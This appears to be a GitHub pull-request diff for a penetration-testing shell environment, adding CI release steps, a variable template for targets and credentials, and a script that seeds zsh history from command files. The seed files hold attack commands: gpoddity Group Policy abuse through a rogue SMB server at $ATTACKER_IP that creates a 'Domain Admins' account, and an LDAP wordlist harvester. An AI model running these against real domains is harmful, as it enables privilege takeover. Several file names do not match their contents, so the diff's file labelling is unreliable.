Merge pull request #1 from Esonhugh/feat/command_env_completion

Feat/command env completion

Author: Esonhugh

.devcontainer/devcontainer.json

@@ -22,7 +22,11 @@ jobs:
         with:
           python-version: "3.x"
 
-      - run: python3 craft.py
+      - name: Install uv
+        uses: astral-sh/setup-uv@v5
+
+      - run: uv run ./craft.py
+      - run: uv run ./completion_creator.py
 
       - run: |
           cd $GITHUB_WORKSPACE
@@ -56,15 +60,20 @@ jobs:
           cat commit_notes
 
           echo "Begin Creating Release..."
-          python3 ./releaser.py commit_notes > version.txt
+          uv run ./releaser.py commit_notes > version.txt
           echo "Create successful!"
           cat version.txt
 
+      - name: zip files
+        run: |
+          zip -r createhackenv.zip createhackenv.sh zsh_history installer.sh
+          echo "Files zipped successfully!"
+
       - name: Create Release
         uses: softprops/action-gh-release@v1
         env:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
         with:
           body_path: ${{ github.workspace }}/version.txt
           files: |
-            ${{ github.workspace }}/createhackenv.sh
+            ${{ github.workspace }}/createhackenv.zip

.dockerignore

@@ -6,4 +6,5 @@ services/
 index.md
 Makefile
 .DS_Store
-.vscode/.command_history
+.vscode/.command_history
+zsh_history

.github/workflows/release.yml

@@ -186,3 +186,11 @@ setopt hist_save_no_dups
 setopt histignorealldups
 setopt EXTENDED_HISTORY # with timestamp
 fc -R -I ${OLD_HISTFILE} # loading the old histfile 
+
+if [[ "$HIST_COMMAND_INDEXER" != "" ]]; then 
+    if [[ ! -f ${HIST_COMMAND_INDEXER} ]]; then
+        echo "HIST_COMMAND_INDEXER file not found: ${HIST_COMMAND_INDEXER}"
+    else 
+        fc -R -I ${HIST_COMMAND_INDEXER} # loading the command indexer
+    fi
+fi 

.gitignore

@@ -7,19 +7,50 @@
 # Target settings
 export RHOST=10.10.X.X
 # works well on HTB and THM, Put your reverse IP here.
-export LHOST=`ifconfig|grep '10\.10\.'|cut -d ' ' -f2` 
 
 # use this if you are using a VPS or cloud server it can automatically get your public IP.
 # export LHOST=`curl ifconfig.me` 
 # export LHOST=`curl ip.me`
+export LHOST=`ifconfig|grep '10\.10\.'|cut -d ' ' -f2` 
+export ATTACKER_IP=$LHOST
+
 export LPORT=6789
 export DOMAIN=
 
-# export USER_A=
-# export PASS_A=
+export TARGET=${DOMAIN:-${RHOST}} # target is target hostname if not set use RHOST ip
+
+export IP=${RHOST} # alias rhost
+export ip=${IP} # alias as IP
+export DC_IP=${RHOST} # alias rhost
+export DC_HOST=dc01.${DOMAIN} # domain controller host, if not set use dc01.domain.com
+
+export USER_A=username
+export PASS_A=password
+export NT_HASH_A=ffffffffffffffffffffffffffffffff # NTLM hash, if you have it
+
+export USER_B=
+export PASS_B=
 
-# export USER_B=
-# export PASS_B=
+export CURRENT=A # set the current username 
+export CURRENT_USER=`eval echo '$USER_'$CURRENT` # alias for USER_A
+export CURRENT_PASS=`eval echo '$PASS_'$CURRENT` # alias for PASS_A
+export CURRENT_NT_HASH=`eval echo '$NT_HASH_'$CURRENT` # alias for NT_HASH_A
+
+# defined variables if u need
+export USER=${CURRENT_USER}
+export USERNAME=${CURRENT_USER}
+export PASS=${CURRENT_PASS}
+export PASSWORD=${CURRENT_PASS} # alias for PASS
+export NT_HASH=${CURRENT_NT_HASH} # alias for NT_HASH_A
+
+
+# export KRB5CCNAME=
+
+# FAKETIME settings
+# export LD_PRELOAD=/usr/local/lib/libfaketime.so.1
+# export LD_PRELOAD=/usr/lib/aarch64-linux-gnu/faketime/libfaketime.so.1
+# export DYLD_FORCE_FLAT_NAMESPACE=1 DYLD_INSERT_LIBRARIES=/opt/homebrew/Cellar/libfaketime/0.9.10/lib/faketime/libfaketime.1.dylib
+# export FAKETIME="-8h"
 
 
 export METASPLOIT_INIT_COMMAND=""
@@ -68,10 +99,6 @@ export TF_LOG_PATH=$PROJECT_FOLDER/terraform.log
 
 ################################################################
 # More default settings
-export TARGET=${DOMAIN:-${RHOST}} # target is target hostname if not set use RHOST ip
-
-export IP=${RHOST} # alias rhost
-export ip=${IP} # alias as IP
 
 export PROJECT_WEB_DELIVERY=$PROJECT_FOLDER/.web-delivery # web-delivery is a folder in PROJECT_FOLDER
 unset SSS_LOADED # make sure sss init shell is not set

.vscode/.zshrc

@@ -0,0 +1,63 @@
+# /// script
+# requires-python = ">=3.10"
+# dependencies = []
+# ///
+
+import os
+import re
+import json
+
+env_args = {}
+
+def processor(f_to_read, f_to_write):
+    data = f_to_read.read()
+    # found unique environment variables
+    for line in data.splitlines():
+        if "$" in line:
+            matched = re.search(r'\$({)?\w+(})?', line)
+            if matched:
+                matched_word = matched.group(0)
+                if matched_word not in env_args:
+                    env_args[matched_word] = {}
+                print(f"Found environment variable: {matched_word} in file: {f_to_read.name}")
+                if f_to_read.name not in env_args[matched_word]:
+                    env_args[matched_word][f_to_read.name] = 1
+                else:
+                    env_args[matched_word][f_to_read.name] += 1
+        if line:
+            f_to_write.write(f"{line}\n")
+        
+def check_env_var():
+    defined_list = []
+    undefined_list = []
+    for env_var, files in env_args.items():
+        if os.getenv(env_var.strip("${}")) is None:
+            flist = []
+            for f, count in files.items():
+                flist.append(f"filename: {f} (used {count} times)")
+            undefined_list.append(f"Environment variable {env_var} is not defined! It is used in files: {', '.join(flist)}")  
+        else:
+            defined_list.append(f"Environment variable {env_var} is defined with value: {os.getenv(env_var.strip('${}'))}")
+    
+    for line in defined_list:
+        print(line)
+    for line in undefined_list:
+        print(line)
+    
+def main() -> None:
+    write_file = "./zsh_history"
+    f = open(write_file, "w")
+    for path, dictionaries, files in os.walk("./completion_indexer"):
+        if files:
+            for file in files:
+                print(f"Processing file: {file} in {path}")
+                with open(os.path.join(path, file), "r") as f_read:
+                    processor(f_read, f)
+    f.close()
+    print(f"All environment variables found: {json.dumps(env_args, indent=4)}")
+    print("Checking if environment variabkes are defined")
+    check_env_var()
+    
+
+if __name__ == "__main__":
+    main()

.vscode/env.zsh

@@ -0,0 +1,2 @@
+gpoddity --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain "$DOMAIN" --username 'GPODDITY$' --password "$PASS" --command 'net user attackeradmin exegol4thewin! /add && net localgroup administrators attackeradmin /add' --rogue-smbserver-ip "$ATTACKER_IP" --rogue-smbserver-share "EXEGOL"
+gpoddity --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --no-smb-server --domain "$DOMAIN" --username 'GPODDITY$' --password "$PASS" --command 'net user attackeradmin exegol4thewin! /add /domain && net group "Domain Admins" attackeradmin /ADD /DOMAIN' --rogue-smbserver-ip "$ATTACKER_IP" --rogue-smbserver-share "EXEGOL"

Dockerfile

@@ -0,0 +1 @@
+LDAPWordlistHarvester.py -d "$DOMAIN" -u "$USER" -p "$PASS" --dc-ip "$DC_IP